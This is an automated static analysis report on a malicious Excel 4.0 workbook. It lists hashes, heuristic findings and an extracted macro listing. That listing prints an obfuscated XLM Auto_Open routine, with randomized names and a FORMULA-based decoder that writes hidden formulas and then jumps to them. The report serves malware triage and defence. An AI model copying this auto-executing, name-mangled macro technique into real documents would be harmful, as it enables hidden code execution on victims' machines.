Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45081086a9985409…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:18 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 0cc917b3c03868ca446ff3743822ab2e SHA-1: 98135adfd0b45b1085a8a5204a3d067a1551c814 SHA-256: 45081086a998540916e5705f4fa0580ac4bb83b4aad28b061224c2a795c6bc02
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6592 bytes
SHA-256: e85818005ad6eb7fa9e8f611d044390fe747a12f41cb7019b74f0b3860c64838
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'DvzjvAgfpynF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jDlcAosA
' 0018     22 LABEL : Cell Value, String Constant - anWobHu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F156 
' 0018     21 LABEL : Cell Value, String Constant - cLvmoq len=0 
' 0018     25 LABEL : Cell Value, String Constant - DoYpPvfdbV len=0 
' 0018     22 LABEL : Cell Value, String Constant - dTlFMlw len=0 
' 0018     27 LABEL : Cell Value, String Constant - DvzjvAgfpynF len=0 
' 0018     21 LABEL : Cell Value, String Constant - fXPliC len=0 
' 0018     23 LABEL : Cell Value, String Constant - fxZirMxm len=0 
' 0018     21 LABEL : Cell Value, String Constant - hsQTZS len=0 
' 0018     25 LABEL : Cell Value, String Constant - HYuYxuLCbV len=0 
' 0018     22 LABEL : Cell Value, String Constant - jCDWXAf len=0 
' 0018     22 LABEL : Cell Value, String Constant - jgtaLbN len=0 
' 0018     22 LABEL : Cell Value, String Constant - JhcsJwO len=0 
' 0018     26 LABEL : Cell Value, String Constant - lmLEVwijfcR len=0 
' 0018     20 LABEL : Cell Value, String Constant - mSwxw len=0 
' 0018     22 LABEL : Cell Value, String Constant - mXumlJs len=0 
' 0018     26 LABEL : Cell Value, String Constant - OyjtrljxsDB len=0 
' 0018     24 LABEL : Cell Value, String Constant - tIAjfEqDw len=0 
' 0018     25 LABEL : Cell Value, String Constant - vByagqLzhC len=0 
' 0018     24 LABEL : Cell Value, String Constant - ymjwjxdex len=0 
' 0018     26 LABEL : Cell Value, String Constant - yQHNemEWmsY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jDlcAosA,F60,"SET.NAME("hsQTZS",VALUE("0"))",""
'  jDlcAosA,F65,"SET.NAME("HYuYxuLCbV",hsQTZS)",""
'  jDlcAosA,F70,"SET.NAME("anWobHu",hsQTZS)",""
'  jDlcAosA,F75,"SET.NAME("fxZirMxm",COUNTA(DoYpPvfdbV))",""
'  jDlcAosA,F77,"SET.NAME("mSwxw",COUNTA(yQHNemEWmsY))",""
'  jDlcAosA,F82,[],""
'  jDlcAosA,F87,"SET.NAME("vByagqLzhC","")",""
'  jDlcAosA,F92,"HYuYxuLCbV",""
'  jDlcAosA,F97,"SET.NAME("lmLEVwijfcR",HLOOKUP("*",DoYpPvfdbV,HYuYxuLCbV,FALSE))",""
'  jDlcAosA,F99,"jCDWXAf",""
'  jDlcAosA,F102,"SET.NAME("jgtaLbN",hsQTZS)",""
'  jDlcAosA,F104,[],""
'  jDlcAosA,F109,"jgtaLbN",""
'  jDlcAosA,F112,"OyjtrljxsDB",""
'  jDlcAosA,F115,"JhcsJwO",""
'  jDlcAosA,F118,"mXumlJs",""
'  jDlcAosA,F121,"SET.NAME("dTlFMlw",VALUE(HLOOKUP("*",yQHNemEWmsY,mXumlJs,FALSE)))",""
'  jDlcAosA,F126,"DvzjvAgfpynF",""
'  jDlcAosA,F128,"vByagqLzhC",""
'  jDlcAosA,F132,"anWobHu",""
'  jDlcAosA,F136,NEXT(),""
'  jDlcAosA,F141,"tIAjfEqDw",""
'  jDlcAosA,F143,"SET.NAME("f",INT(T(FORMULA(T(vByagqLzhC)&"",""&T(tIAjfEqDw)))))",""
'  jDlcAosA,F145,"fXPliC",""
'  jDlcAosA,F147,NEXT(),""
'  jDlcAosA,F151,RETURN(),""
'  jDlcAosA,F181,"SET.NAME("ymjwjxdex",F60)",""
'  jDlcAosA,F184,"DoYpPvfdbV",""
'  jDlcAosA,F189,"SET.NAME("yQHNemEWmsY",R98C14)",""
'  jDlcAosA,F194,"SET.NAME("fXPliC",203)",""
'  jDlcAosA,F197,"SET.NAME("cLvmoq",6)",""
'  jDlcAosA,F202,ymjwjxdex(),""
'  jDlcAosA,F203,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.